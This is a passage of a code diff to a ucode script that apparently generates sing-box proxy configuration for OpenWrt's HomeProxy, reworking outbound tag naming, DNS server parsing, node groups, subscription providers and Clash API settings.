'bind_interface'); @@ -191,7 +152,7 @@ const mixed_port = uci.get(uciconfig, uciinfra, 'mixed_port') || '5330'; let self_mark, redirect_port, tproxy_port, tun_name, tun_addr4, tun_addr6, tun_mtu, tcpip_stack, - endpoint_independent_nat, udp_timeout; + udp_timeout; if (routing_mode === 'custom') udp_timeout = uci.get(uciconfig, uciroutingsetting, 'udp_timeout'); @@ -203,7 +164,7 @@ if (match(proxy_mode, /redirect/)) { redirect_port = uci.get(uciconfig, 'infra', 'redirect_port') || '5331'; } if (match(proxy_mode, /tproxy/)) - if (main_udp_node !== 'nil' || routing_mode === 'custom' || use_default_outbound_routing) + if (main_udp_node !== 'nil' || routing_mode === 'custom') tproxy_port = uci.get(uciconfig, 'infra', 'tproxy_port') || '5332'; if (match(proxy_mode, /tun/)) { tun_name = uci.get(uciconfig, uciinfra, 'tun_name') || 'singtun0'; @@ -211,21 +172,18 @@ if (match(proxy_mode, /tun/)) { tun_addr6 = uci.get(uciconfig, uciinfra, 'tun_addr6') || 'fdfe:dcba:9876::1/126'; tun_mtu = uci.get(uciconfig, uciinfra, 'tun_mtu') || '9000'; tcpip_stack = 'system'; - if (routing_mode === 'custom') { + if (routing_mode === 'custom') tcpip_stack = uci.get(uciconfig, uciroutingsetting, 'tcpip_stack') || 'system'; - endpoint_independent_nat = uci.get(uciconfig, uciroutingsetting, 'endpoint_independent_nat'); - } } const log_level = uci.get(uciconfig, ucimain, 'log_level') || 'warn'; -const clash_api_enabled = uci.get(uciconfig, ucimain, 'clash_api_enabled') || '0', - clash_api_external_controller = uci.get(uciconfig, ucimain, 'clash_api_external_controller') || '127.0.0.1:9090', - clash_api_secret = uci.get(uciconfig, ucimain, 'clash_api_secret'), - clash_api_default_mode = uci.get(uciconfig, ucimain, 'clash_api_default_mode') || 'Rule', - clash_api_allow_origin = uci.get(uciconfig, ucimain, 'clash_api_allow_origin') || [], - clash_api_allow_private_network = uci.get(uciconfig, ucimain, 'clash_api_allow_private_network') || '1'; +cache_file_enabled = uci.get(uciconfig, ucicache, 'enabled'); +cache_file_path = uci.get(uciconfig, ucicache, 'path'); +cache_store_rdrc = uci.get(uciconfig, ucicache, 'store_rdrc'); +cache_rdrc_timeout = uci.get(uciconfig, ucicache, 'rdrc_timeout'); +let clash_api = null; /* UCI config end */ /* Config helper start */ @@ -257,6 +215,31 @@ function parse_dnsserver(server_addr, default_protocol) { } } +function parse_custom_dnsserver(cfg) { + let server = cfg.server, + server_port = (cfg.type in ['https', 'h3']) ? null : strToInt(cfg.server_port), + path = cfg.path; + + if (!isEmpty(server) && match(server, /:\/\//)) { + const server_url = parseURL(server); + + server = server_url.hostname; + if (isEmpty(server_port)) + server_port = strToInt(server_url.port); + if ((cfg.type in ['https', 'h3']) && isEmpty(path) && server_url.pathname !== '/') + path = server_url.pathname; + } + if ((cfg.type in ['https', 'h3']) && isEmpty(path)) + path = '/dns-query'; + + return { + type: cfg.type, + server, + server_port, + path + }; +} + function parse_dnsquery(strquery) { if (type(strquery) !== 'array' || isEmpty(strquery)) return null; @@ -269,36 +252,149 @@ function parse_dnsquery(strquery) { } -function section_outbound_tag(section) { - return get_fallback_outbound_tag(section); +function filter_existing_nodes(nodes) { + if (type(nodes) !== 'array' || isEmpty(nodes)) + return []; + + return filter(nodes, (k) => { + const node = uci.get_all(uciconfig, k) || {}; + return !isEmpty(node); + }); } -function node_outbound_tag(node_or_section) { - let section = (type(node_or_section) === 'object') ? node_or_section['.name'] : node_or_section; - return section_outbound_tag(section); +function collect_group_nodes(groups, subscription_nodes, nodes, legacy_nodes) { + let result = []; + + for (let group in normalize_list(groups)) + uci.foreach(uciconfig, ucinode, (cfg) => { + if (cfg.grouphash === group && !~index(result, cfg['.name'])) + push(result, cfg['.name']); + }); + + for (let node in filter_existing_nodes(normalize_list(subscription_nodes))) + if (!~index(result, node)) + push(result, node); + + for (let node in filter_existing_nodes(normalize_list(nodes))) + if (!~index(result, node)) + push(result, node); + + for (let node in filter_existing_nodes(normalize_list(legacy_nodes))) + if (!~index(result, node)) + push(result, node); + + return result; } -function runtime_outbound_tag(node_or_section) { - let section = (type(node_or_section) === 'object') ? node_or_section['.name'] : node_or_section; - return get_outbound_tag(routing_target_ctx.tag_map, section); +function collect_policy_nodes(nodes, current) { + let result = []; + + for (let node in normalize_list(nodes)) { + if (node === current || ~index(result, node)) + continue; + + const outbound = uci.get_all(uciconfig, node) || {}; + if (!isEmpty(outbound) && outbound['.type'] === uciroutingnode && outbound.enabled === '1' && outbound.node in ['urltest', 'selector']) + push(result, node); + } + + return result; } -function runtime_shadowtls_tag(node_or_section) { - let section = (type(node_or_section) === 'object') ? node_or_section['.name'] : node_or_section; - return get_shadowtls_outbound_tag(routing_target_ctx.tag_map, section); +const reserved_outbound_tags = { + 'GLOBAL': true, + 'main-out': true, + 'main-udp-out': true, + 'direct-out': true, + 'block-out': true +}; + +let outbound_tag_map = {}, + outbound_tag_used = {}; + +function normalize_outbound_tag(tag) { + if (isEmpty(tag)) + return null; + + tag = trim(sprintf('%s', tag)); + tag = replace(tag, /[\r\n\t]+/g, ' '); + tag = replace(tag, /[\/\\?#%]+/g, '-'); + tag = replace(tag, /\s+/g, ' '); + + return tag || null; } -function map_outbound_tags(node_ids) { - return map(node_ids, (node_id) => node_outbound_tag(node_id)); +function section_display_name(section) { + if (type(section) !== 'object' || isEmpty(section)) + return null; + + let label = normalize_outbound_tag(section.label); + if (!isEmpty(label)) + return label; + + if (section['.type'] === ucinode) { + const address = trim(section.override_address || section.address || ''); + const port = trim(section.override_port || section.port || ''); + + if (address && port) + return normalize_outbound_tag(`${address}:${port}`); + } + + return null; } -function generate_endpoint(node, tag) { +function register_outbound_tag(section_id, display_name) { + if (isEmpty(section_id)) + return null; + + let tag = outbound_tag_map[section_id]; + if (!isEmpty(tag)) + return tag; + + const fallback_tag = `cfg-${section_id}-out`; + const base_tag = normalize_outbound_tag(display_name) || fallback_tag; + + tag = base_tag; + let suffix = 2; + while (reserved_outbound_tags[tag] || outbound_tag_used[tag]) { + tag = `${base_tag} (${suffix})`; + suffix++; + } + + outbound_tag_map[section_id] = tag; + outbound_tag_used[tag] = true; + + return tag; +} + +function get_section_outbound_tag(section_id) { + if (isEmpty(section_id)) + return null; + + let tag = outbound_tag_map[section_id]; + if (!isEmpty(tag)) + return tag; + + const section = uci.get_all(uciconfig, section_id) || {}; + return register_outbound_tag(section_id, section_display_name(section)); +} + +uci.foreach(uciconfig, ucinode, (cfg) => { + register_outbound_tag(cfg['.name'], section_display_name(cfg)); +}); + +uci.foreach(uciconfig, uciroutingnode, (cfg) => { + if (cfg.enabled === '1') + register_outbound_tag(cfg['.name'], section_display_name(cfg)); +}); + +function generate_endpoint(node) { if (type(node) !== 'object' || isEmpty(node)) return null; const endpoint = { type: node.type, - tag: tag || node_outbound_tag(node), + tag: get_section_outbound_tag(node['.name']), address: node.wireguard_local_address, mtu: strToInt(node.wireguard_mtu), private_key: node.wireguard_private_key, @@ -325,17 +421,18 @@ function generate_endpoint(node, tag) { return endpoint; } -function generate_outbound(node, tag) { +function generate_outbound(node) { if (type(node) !== 'object' || isEmpty(node)) return null; + const tls_utls_value = (node.type === 'anytls' && isEmpty(node.tls_utls)) ? 'chrome' : node.tls_utls; const outbound = { type: node.type, - tag: tag || node_outbound_tag(node), + tag: get_section_outbound_tag(node['.name']), routing_mark: strToInt(self_mark), - server: node.address, - server_port: strToInt(node.port), + server: (node.type !== 'direct') ? node.address : null, + server_port: (node.type !== 'direct') ? strToInt(node.port) : null, /* Hysteria(2) */ server_ports: node.hysteria_hopping_port, @@ -343,10 +440,6 @@ function generate_outbound(node, tag) { user: (node.type === 'ssh') ? node.username : null, password: node.password, - /* Direct */ - override_address: node.override_address, - override_port: strToInt(node.override_port), - proxy_protocol: strToInt(node.proxy_protocol), /* AnyTLS */ idle_session_check_interval: strToTime(node.anytls_idle_session_check_interval), idle_session_timeout: strToTime(node.anytls_idle_session_timeout), @@ -390,6 +483,7 @@ function generate_outbound(node, tag) { global_padding: strToBool(node.vmess_global_padding), authenticated_length: strToBool(node.vmess_authenticated_length), packet_encoding: node.packet_encoding, + multiplex: (node.multiplex === '1') ? { enabled: true, protocol: node.multiplex_protocol, @@ -417,9 +511,9 @@ function generate_outbound(node, tag) { config: node.tls_ech_config, config_path: node.tls_ech_config_path } : null, - utls: !isEmpty(node.tls_utls) ? { + utls: !isEmpty(tls_utls_value) ? { enabled: true, - fingerprint: node.tls_utls + fingerprint: tls_utls_value } : null, reality: (node.tls_reality === '1') ? { enabled: true, @@ -454,173 +548,35 @@ function generate_outbound(node, tag) { return outbound; } -function generate_shadowtls_outbound(node, tag) { - if (type(node) !== 'object' || node.shadowtls_enabled === '0' || isEmpty(node.shadowtls_address)) +function get_outbound(cfg) { + if (isEmpty(cfg)) return null; - return { - type: 'shadowtls', - tag: tag, - routing_mark: strToInt(self_mark), - server: node.shadowtls_address, - server_port: strToInt(node.shadowtls_port), - version: strToInt(node.shadowtls_version), - password: node.shadowtls_password, - tls: { - enabled: true, - server_name: node.shadowtls_sni - } - }; -} + if (type(cfg) === 'array') { + if ('any-out' in cfg) + return 'any'; -function has_shadowtls_detour(node) { - return type(node) === 'object' && - node.type === 'shadowsocks' && - node.shadowtls_enabled !== '0' && - !isEmpty(node.shadowtls_address); -} - -function apply_routing_node_options(outbound, cfg) { - if (type(outbound) !== 'object' || type(cfg) !== 'object' || isEmpty(cfg)) - return; - - outbound.bind_interface = cfg.bind_interface; - if (cfg.outbound) { - if (routingTarget.routing_node_has_path(routing_target_ctx, cfg.outbound, cfg['.name'], {})) - reportError('error', - sprintf('路由节点配置错误:%s 的上游出站与自身形成循环引用。', cfg.label || cfg['.name']), - '进入 LuCI 界面 -> 服务 -> HomeProxy -> 路由节点,检查该节点的"上游出站"配置'); - else - outbound.detour = get_outbound(cfg.outbound, 'block-out', - sprintf('路由节点 %s 的上游出站', cfg.label || cfg['.name'])); - } - if (cfg.domain_resolver) - outbound.domain_resolver = { - server: get_resolver(cfg.domain_resolver), - strategy: cfg.domain_strategy - }; -} - -function push_node_outbound(client_config, node, tag, routing_cfg) { - if (type(node) !== 'object' || isEmpty(node)) - return; - - if (node.type === 'wireguard') { - push(client_config.endpoints, generate_endpoint(node, tag)); - apply_routing_node_options(client_config.endpoints[length(client_config.endpoints)-1], routing_cfg); + let outbounds = []; + for (let i in cfg) + push(outbounds, get_outbound(i)); + return outbounds; } else { - let outbound = generate_outbound(node, tag); - if (has_shadowtls_detour(node)) { - const shadowtls_tag = (tag === node_outbound_tag(node)) - ? runtime_shadowtls_tag(node) - : tag + '-shadowtls'; - let shadowtls_outbound = generate_shadowtls_outbound(node, shadowtls_tag); - apply_routing_node_options(shadowtls_outbound, routing_cfg); - outbound.detour = shadowtls_tag; - push(client_config.outbounds, shadowtls_outbound); - } else { - apply_routing_node_options(outbound, routing_cfg); + switch (cfg) { + case 'block-out': + case 'direct-out': + return cfg; + default: + const node = uci.get(uciconfig, cfg, 'node'); + if (isEmpty(node)) + die(sprintf("%s's node is missing, please check your configuration.", cfg)); + else if (node in ['urltest', 'selector']) + return get_section_outbound_tag(cfg); + else + return get_section_outbound_tag(node); } - push(client_config.outbounds, outbound); } } -function push_block_outbound(client_config, tag) { - push(client_config.outbounds, { - type: 'block', - tag: tag - }); -} - -function is_builtin_outbound(target) { - return routingTarget.is_builtin_outbound(routing_target_ctx, target); -} - -function is_node_section(target) { - return routingTarget.is_node_section(routing_target_ctx, target); -} - -function is_routing_node_section(target) { - return routingTarget.is_routing_node_section(routing_target_ctx, target); -} - -function expand_node_filter(manual_nodes, node_filter, node_filter_exclude, owner, allow_routing_node) { - let result = expandNodeFilterHelper({ - uci: uci, - config: uciconfig, - node_type: ucinode, - allow_manual_node: (node_id) => { - if (is_node_section(node_id) || - (allow_routing_node && (is_builtin_outbound(node_id) || is_routing_node_section(node_id)))) - return true; - - return false; - }, - on_invalid_manual_node: (node_id) => { - reportError('warning', - sprintf('节点组 %s 引用了已删除的节点:%s,已在本次生成中跳过。', owner, node_id), - '请进入 LuCI 界面检查对应的节点列表引用'); - } - }, manual_nodes, node_filter, node_filter_exclude); - - if (!result.result) { - if (!isEmpty(node_filter) && !isEmpty(node_filter_exclude)) { - reportError('error', - sprintf('路由节点 %s 的节点正则或排除正则无效:%s', owner, result.error), - '请修正节点正则/排除正则,或清空该字段后重新生成配置'); - } else if (!isEmpty(node_filter)) { - reportError('error', - sprintf('路由节点 %s 的节点正则无效:%s', owner, result.error), - '请修正节点正则,或清空该字段后重新生成配置'); - } else { - reportError('error', - sprintf('路由节点 %s 的排除正则无效:%s', owner, result.error), - '请修正排除正则,或清空该字段后重新生成配置'); - } - - return []; - } - - if (result.truncated) - reportError('warning', - sprintf('路由节点 %s 的节点正则命中超过 %d 个节点,已截断结果。', owner, result.max_result_nodes), - '请收窄节点正则或拆分路由节点,避免一次生成过大的 outbound 组'); - - if (result.scan_truncated) - reportError('warning', - sprintf('路由节点 %s 的节点正则扫描超过 %d 个节点,已停止继续匹配。', owner, result.max_scan_nodes), - '请收窄订阅节点规模或正则范围,避免生成器长时间执行复杂匹配'); - - return result.nodes || []; -} - -function resolve_outbound_target(target, owner, seen_path) { - return routingTarget.resolve_outbound_target(routing_target_ctx, target, owner, seen_path); -} - -function get_routing_target_outbound(target, owner) { - return routingTarget.get_routing_target_outbound(routing_target_ctx, target, owner); -} - -function push_routing_target_outbound(client_config, target, routing_nodes) { - return routingTarget.collect_routing_target_dependencies( - routing_target_ctx, - client_config, - target, - routing_nodes, - push_node_outbound, - node_outbound_tag - ); -} - -function get_valid_selector_outbounds(selector_nodes, owner, owner_section) { - return routingTarget.get_valid_selector_outbounds(routing_target_ctx, selector_nodes, owner, owner_section); -} - -function get_outbound(cfg, fallback, owner) { - return routingTarget.get_outbound(routing_target_ctx, cfg, fallback, owner); -} - function get_resolver(cfg) { if (isEmpty(cfg)) return null; @@ -639,30 +595,117 @@ function get_ruleset(cfg) { return null; let rules = []; - for (let i in cfg) - push(rules, isEmpty(i) ? null : 'cfg-' + i + '-rule'); + for (let i in cfg) { + if (isEmpty(i)) { + push(rules, null); + continue; + } + + const ruleset = uci.get_all(uciconfig, i); + push(rules, !isEmpty(ruleset?.tag) ? ruleset.tag : ('cfg-' + i + '-rule')); + } return rules; } -function apply_outbound_tag_rename(client_config) { - return applyOutboundTagRenameHelper(client_config, routing_target_ctx.tag_map); +function subscription_provider_name(name) { + name = trim(name || ''); + return name; } -function assert_unique_outbound_tags(client_config) { - return assertUniqueOutboundTagsHelper(client_config, (tag) => { - reportError('error', - sprintf('rename 后出现重复 outbound tag: %s', tag), - '通常意味着去重算法异常;请附带节点 label / section 列表反馈'); - }); +function unique_provider_name(name, used) { + const base = name; + let suffix = 2; + + while (used[name]) { + name = sprintf('%s (%d)', base, suffix); + suffix++; + } + used[name] = true; + + return name; } -function assert_no_stale_outbound_tags(client_config) { - return assertNoStaleOutboundTagsHelper(client_config, routing_target_ctx.tag_map, (old_tag, final_tag) => { - reportError('error', - sprintf('rename 后仍残留旧 outbound tag 引用: %s -> %s', old_tag, final_tag), - '请检查新增 sing-box 字段是否需要纳入 outbound tag rename 规则'); - }); +function get_subscription_info(group_hash) { + const value = uci.get(uciconfig, 'subscription', 'subinfo_' + substr(group_hash, 0, 16)); + if (isEmpty(value)) + return null; + + try { + const info = json(value); + if (type(info) !== 'object') + return null; + + const has_subscription_info = ('upload' in info) || ('download' in info) || + ('total' in info) || ('expire' in info); + + return { + updated_at: info.updated_at, + subscription_info: has_subscription_info ? { + upload: info.upload, + download: info.download, + total: info.total, + expire: info.expire + } : null + }; + } catch (e) { + return null; + } } + +function build_proxy_providers() { + let providers = [], + used_names = {}, + subscription_names = normalize_list(uci.get(uciconfig, 'subscription', 'subscription_name')), + sub_index = 0; + + for (let suburl in normalize_list(uci.get(uciconfig, 'subscription', 'subscription_url'))) { + const subscription_name = subscription_names[sub_index]; + sub_index++; + + if (isEmpty(suburl) || isEmpty(trim(subscription_name || ''))) + continue; + + const url = replace(suburl, /#.*$/, ''), + group_hash = md5(url); + + let proxies = []; + uci.foreach(uciconfig, ucinode, (cfg) => { + if (cfg.grouphash !== group_hash) + return; + + const tag = get_section_outbound_tag(cfg['.name']); + if (!isEmpty(tag) && !~index(proxies, tag)) + push(proxies, tag); + }); + + if (isEmpty(proxies)) + continue; + + const subscription_info = get_subscription_info(group_hash); + + push(providers, { + name: unique_provider_name(subscription_provider_name(subscription_name), used_names), + type: 'Proxy', + vehicle_type: 'HTTP', + proxies: proxies, + update_id: (routing_mode === 'custom') ? group_hash : null, + updated_at: subscription_info?.updated_at, + subscription_info: subscription_info?.subscription_info + }); + } + + return providers; +} + +clash_api = { + external_controller: uci.get(uciconfig, uciclashapi, 'external_controller') || '127.0.0.1:9090', + external_ui: uci.get(uciconfig, uciclashapi, 'external_ui'), + external_ui_download_url: uci.get(uciconfig, uciclashapi, 'external_ui_download_url'), + external_ui_download_detour: get_outbound(uci.get(uciconfig, uciclashapi, 'external_ui_download_detour')), + secret: uci.get(uciconfig, uciclashapi, 'secret'), + default_mode: uci.get(uciconfig, uciclashapi, 'default_mode') || 'rule', + proxy_providers: build_proxy_providers() +}; /* Config helper end */ const config = {}; @@ -678,8 +721,10 @@ config.log = { /* NTP */ if (!isEmpty(ntp_server)) config.ntp = { - enabled: true, + enabled: ntp_enabled === '1', server: ntp_server, + server_port: strToInt(ntp_server_port), + interval: ntp_interval, detour: 'direct-out', domain_resolver: 'default-dns', }; @@ -783,17 +828,13 @@ if (!isEmpty(main_node)) { if (cfg.enabled !== '1') return; - let outbound = get_outbound(cfg.outbound, 'block-out', - sprintf('DNS Server %s 的出站', cfg.label || cfg['.name'])); + let outbound = get_outbound(cfg.outbound); if (outbound === 'direct-out' && isEmpty(self_mark)) outbound = null; push(config.dns.servers, { tag: 'cfg-' + cfg['.name'] + '-dns', - type: cfg.type, - server: cfg.server, - server_port: strToInt(cfg.server_port), - path: cfg.path, + ...parse_custom_dnsserver(cfg), headers: cfg.headers, tls: cfg.tls_sni ? { enabled: true, @@ -835,10 +876,8 @@ if (!isEmpty(main_node)) { user: cfg.user, rule_set: get_ruleset(cfg.rule_set), rule_set_ip_cidr_match_source: strToBool(cfg.rule_set_ip_cidr_match_source), - rule_set_ip_cidr_accept_empty: strToBool(cfg.rule_set_ip_cidr_accept_empty), invert: strToBool(cfg.invert), - outbound: get_outbound(cfg.outbound, 'block-out', - sprintf('DNS 规则 %s 的出站匹配', cfg.label || cfg['.name'])), + outbound: get_outbound(cfg.outbound), action: cfg.action, server: get_resolver(cfg.server), strategy: cfg.domain_strategy, @@ -877,8 +916,6 @@ push(config.inbounds, { listen: '::', listen_port: int(mixed_port), udp_timeout: strToTime(udp_timeout), - sniff: true, - sniff_override_destination: strToBool(sniff_override), set_system_proxy: false }); @@ -888,11 +925,9 @@ if (match(proxy_mode, /redirect/)) tag: 'redirect-in', listen: '::', - listen_port: int(redirect_port), - sniff: true, - sniff_override_destination: strToBool(sniff_override) + listen_port: int(redirect_port) }); -if (match(proxy_mode, /tproxy/) && !isEmpty(tproxy_port)) +if (match(proxy_mode, /tproxy/)) push(config.inbounds, { type: 'tproxy', tag: 'tproxy-in', @@ -900,9 +935,7 @@ if (match(proxy_mode, /tproxy/) && !isEmpty(tproxy_port)) listen: '::', listen_port: int(tproxy_port), network: 'udp', - udp_timeout: strToTime(udp_timeout), - sniff: true, - sniff_override_destination: strToBool(sniff_override) + udp_timeout: strToTime(udp_timeout) }); if (match(proxy_mode, /tun/)) push(config.inbounds, { @@ -913,11 +946,8 @@ if (match(proxy_mode, /tun/)) address: (ipv6_support === '1') ? [tun_addr4, tun_addr6] : [tun_addr4], mtu: strToInt(tun_mtu), auto_route: false, - endpoint_independent_nat: strToBool(endpoint_independent_nat), udp_timeout: strToTime(udp_timeout), - stack: tcpip_stack, - sniff: true, - sniff_override_destination: strToBool(sniff_override) + stack: tcpip_stack }); /* Inbound end */ @@ -942,87 +972,92 @@ if (!isEmpty(main_node)) { let urltest_nodes = []; if (main_node === 'urltest') { - const main_urltest_nodes = expand_node_filter( - uci.get(uciconfig, ucimain, 'main_urltest_nodes') || [], - null, - null, - 'main_node', - false); + const main_urltest_nodes = filter_existing_nodes( + normalize_list(uci.get(uciconfig, ucimain, 'main_urltest_nodes')) + ); const main_urltest_interval = uci.get(uciconfig, ucimain, 'main_urltest_interval'); const main_urltest_tolerance = uci.get(uciconfig, ucimain, 'main_urltest_tolerance'); - if (length(main_urltest_nodes)) { - push(config.outbounds, { - type: 'urltest', - tag: 'main-out', - outbounds: map_outbound_tags(main_urltest_nodes), - interval: strToTime(main_urltest_interval), - tolerance: strToInt(main_urltest_tolerance), - idle_timeout: (strToInt(main_urltest_interval) > 1800) ? `${main_urltest_interval * 2}s` : null, - }); - } else { - reportError('warning', - '主节点 URLTest 列表没有可用节点,已在本次生成中临时回退为阻断出站。', - '请进入 LuCI 界面 -> 服务 -> HomeProxy -> 客户端,重新选择主节点 URLTest 列表'); - push_block_outbound(config, 'main-out'); - } + push(config.outbounds, { + type: 'urltest', + tag: 'main-out', + outbounds: map(main_urltest_nodes, (k) => get_section_outbound_tag(k)), + interval: strToTime(main_urltest_interval), + tolerance: strToInt(main_urltest_tolerance), + idle_timeout: (strToInt(main_urltest_interval) > 1800) ? `${main_urltest_interval * 2}s` : null, + }); urltest_nodes = main_urltest_nodes; } else { const main_node_cfg = uci.get_all(uciconfig, main_node) || {}; - if (is_node_section(main_node)) { - push_node_outbound(config, main_node_cfg, 'main-out'); + if (main_node_cfg.type === 'wireguard') { + const main_endpoint = generate_endpoint(main_node_cfg); + if (main_endpoint) { + main_endpoint.tag = 'main-out'; + push(config.endpoints, main_endpoint); + } } else { - reportError('warning', - sprintf('主节点引用了已删除的节点:%s,已在本次生成中临时回退为阻断出站。', main_node), - '请进入 LuCI 界面 -> 服务 -> HomeProxy -> 客户端,重新选择主节点'); - push_block_outbound(config, 'main-out'); + const main_outbound = generate_outbound(main_node_cfg); + if (main_outbound) { + main_outbound.tag = 'main-out'; + push(config.outbounds, main_outbound); + } } } if (main_udp_node === 'urltest') { - const main_udp_urltest_nodes = expand_node_filter( - uci.get(uciconfig, ucimain, 'main_udp_urltest_nodes') || [], - null, - null, - 'main_udp_node', - false); + const main_udp_urltest_nodes = filter_existing_nodes( + normalize_list(uci.get(uciconfig, ucimain, 'main_udp_urltest_nodes')) + ); const main_udp_urltest_interval = uci.get(uciconfig, ucimain, 'main_udp_urltest_interval'); const main_udp_urltest_tolerance = uci.get(uciconfig, ucimain, 'main_udp_urltest_tolerance'); - if (length(main_udp_urltest_nodes)) { - push(config.outbounds, { - type: 'urltest', - tag: 'main-udp-out', - outbounds: map_outbound_tags(main_udp_urltest_nodes), - interval: strToTime(main_udp_urltest_interval), - tolerance: strToInt(main_udp_urltest_tolerance), - idle_timeout: (strToInt(main_udp_urltest_interval) > 1800) ? `${main_udp_urltest_interval * 2}s` : null, - }); - } else { - reportError('warning', - '主 UDP 节点 URLTest 列表没有可用节点,已在本次生成中临时回退为阻断出站。', - '请进入 LuCI 界面 -> 服务 -> HomeProxy -> 客户端,重新选择主 UDP 节点 URLTest 列表'); - push_block_outbound(config, 'main-udp-out'); - } + push(config.outbounds, { + type: 'urltest', + tag: 'main-udp-out', + outbounds: map(main_udp_urltest_nodes, (k) => get_section_outbound_tag(k)), + interval: strToTime(main_udp_urltest_interval), + tolerance: strToInt(main_udp_urltest_tolerance), + idle_timeout: (strToInt(main_udp_urltest_interval) > 1800) ? `${main_udp_urltest_interval * 2}s` : null, + }); urltest_nodes = [...urltest_nodes, ...filter(main_udp_urltest_nodes, (l) => !~index(urltest_nodes, l))]; } else if (dedicated_udp_node) { const main_udp_node_cfg = uci.get_all(uciconfig, main_udp_node) || {}; - if (is_node_section(main_udp_node)) { - push_node_outbound(config, main_udp_node_cfg, 'main-udp-out'); + if (main_udp_node_cfg.type === 'wireguard') { + const main_udp_endpoint = generate_endpoint(main_udp_node_cfg); + if (main_udp_endpoint) { + main_udp_endpoint.tag = 'main-udp-out'; + push(config.endpoints, main_udp_endpoint); + } } else { - reportError('warning', - sprintf('主 UDP 节点引用了已删除的节点:%s,已在本次生成中临时回退为阻断出站。', main_udp_node), - '请进入 LuCI 界面 -> 服务 -> HomeProxy -> 客户端,重新选择主 UDP 节点'); - push_block_outbound(config, 'main-udp-out'); + const main_udp_outbound = generate_outbound(main_udp_node_cfg); + if (main_udp_outbound) { + main_udp_outbound.tag = 'main-udp-out'; + push(config.outbounds, main_udp_outbound); + } } } for (let i in urltest_nodes) { const urltest_node = uci.get_all(uciconfig, i) || {}; - push_node_outbound(config, urltest_node, node_outbound_tag(i)); + if (isEmpty(urltest_node)) + continue; + + if (urltest_node.type === 'wireguard') { + const endpoint = generate_endpoint(urltest_node); + if (endpoint) { + endpoint.tag = get_section_outbound_tag(i); + push(config.endpoints, endpoint); + } + } else { + const outbound = generate_outbound(urltest_node); + if (outbound) { + outbound.tag = get_section_outbound_tag(i); + push(config.outbounds, outbound); + } + } } } else if (!isEmpty(default_outbound)) { - let group_nodes = [], + let urltest_nodes = [], routing_nodes = []; uci.foreach(uciconfig, uciroutingnode, (cfg) => { @@ -1030,80 +1065,83 @@ if (!isEmpty(main_node)) { return; if (cfg.node === 'urltest') { - const owner = cfg.label || cfg['.name']; - const urltest_nodes = expand_node_filter(cfg.urltest_nodes, cfg.node_filter, cfg.node_filter_exclude, owner, false); - if (!length(urltest_nodes)) { - reportError('warning', - sprintf('路由节点 %s 没有可用节点,已在本次生成中临时回退为阻断出站。', owner), - '请手动选择节点,或调整节点正则/排除正则以命中可用节点'); - push_block_outbound(config, node_outbound_tag(cfg)); - return; - } - + const legacy_nodes = (isEmpty(cfg.subscription_groups) && isEmpty(cfg.subscription_nodes) && isEmpty(cfg.selected_nodes)) ? cfg.urltest_nodes : null; + const urltest_list = collect_group_nodes(cfg.subscription_groups, cfg.subscription_nodes, cfg.selected_nodes, legacy_nodes); push(config.outbounds, { type: 'urltest', - tag: node_outbound_tag(cfg), - outbounds: map_outbound_tags(urltest_nodes), + tag: get_section_outbound_tag(cfg['.name']), + outbounds: map(urltest_list, (k) => get_section_outbound_tag(k)), url: cfg.urltest_url, interval: strToTime(cfg.urltest_interval), tolerance: strToInt(cfg.urltest_tolerance), idle_timeout: strToTime(cfg.urltest_idle_timeout), interrupt_exist_connections: strToBool(cfg.urltest_interrupt_exist_connections) }); - group_nodes = [...group_nodes, ...filter(urltest_nodes, (l) => !~index(group_nodes, l))]; + urltest_nodes = [...urltest_nodes, ...filter(urltest_list, (l) => !~index(urltest_nodes, l))]; } else if (cfg.node === 'selector') { - const owner = cfg.label || cfg['.name']; - const selector_nodes = expand_node_filter(cfg.selector_nodes, cfg.node_filter, cfg.node_filter_exclude, owner, true); - const selector_outbounds = get_valid_selector_outbounds(selector_nodes, owner, cfg['.name']); - if (!length(selector_outbounds)) { - reportError('warning', - sprintf('路由节点 %s 没有可用节点,已在本次生成中临时回退为阻断出站。', owner), - '请手动选择节点,或调整节点正则/排除正则以命中可用节点'); - push_block_outbound(config, node_outbound_tag(cfg)); - return; - } - - let selector_default = get_routing_target_outbound( - cfg.selector_default, - sprintf('路由节点 %s 的默认 Selector 节点', owner)); - if (!isEmpty(selector_default) && !~index(selector_outbounds, selector_default)) - selector_default = null; - + const selector_node_list = collect_group_nodes(cfg.subscription_groups, cfg.subscription_nodes, cfg.selected_nodes, null); + const selector_policy_list = collect_policy_nodes(cfg.policy_nodes, cfg['.name']); + const selector_list = [...selector_node_list, ...filter(selector_policy_list, (l) => !~index(selector_node_list, l))]; + const selector_default = (!isEmpty(cfg.selector_default) && ~index(selector_list, cfg.selector_default)) ? cfg.selector_default : null; push(config.outbounds, { type: 'selector', - tag: node_outbound_tag(cfg), - outbounds: selector_outbounds, - default: selector_default, + tag: get_section_outbound_tag(cfg['.name']), + outbounds: map(selector_list, (k) => get_section_outbound_tag(k)), + default: selector_default ? get_section_outbound_tag(selector_default) : null, interrupt_exist_connections: strToBool(cfg.selector_interrupt_exist_connections) }); - group_nodes = [...group_nodes, ...filter(selector_nodes, (l) => !~index(group_nodes, l))]; + urltest_nodes = [...urltest_nodes, ...filter(selector_node_list, (l) => !~index(urltest_nodes, l))]; } else { - const resolved = resolve_outbound_target( - cfg.node, - sprintf('路由节点 %s 的节点', cfg.label || cfg['.name']), - []); - - if (!resolved || resolved.fatal || resolved.type !== 'node') { - reportError('warning', - sprintf('路由节点 %s 的节点引用已失效,已在本次生成中临时回退为阻断出站。', cfg.label || cfg['.name']), - '请进入 LuCI 界面 -> 服务 -> HomeProxy -> 路由节点,重新选择有效节点'); - push_block_outbound(config, node_outbound_tag(cfg)); + const outbound = uci.get_all(uciconfig, cfg.node) || {}; + if (isEmpty(outbound)) return; - } - const outbound = uci.get_all(uciconfig, resolved.node_id) || {}; - push_node_outbound(config, outbound, node_outbound_tag(resolved.node_id), cfg); - push(routing_nodes, resolved.node_id); + if (outbound.type === 'wireguard') { + const endpoint = generate_endpoint(outbound); + if (!endpoint) + return; + + endpoint.bind_interface = cfg.bind_interface; + endpoint.detour = get_outbound(cfg.outbound); + if (cfg.domain_resolver) + endpoint.domain_resolver = { + server: get_resolver(cfg.domain_resolver), + strategy: cfg.domain_strategy + }; + push(config.endpoints, endpoint); + } else { + const routed_outbound = generate_outbound(outbound); + if (!routed_outbound) + return; + + routed_outbound.bind_interface = cfg.bind_interface; + routed_outbound.detour = get_outbound(cfg.outbound); + if (cfg.domain_resolver) + routed_outbound.domain_resolver = { + server: get_resolver(cfg.domain_resolver), + strategy: cfg.domain_strategy + }; + 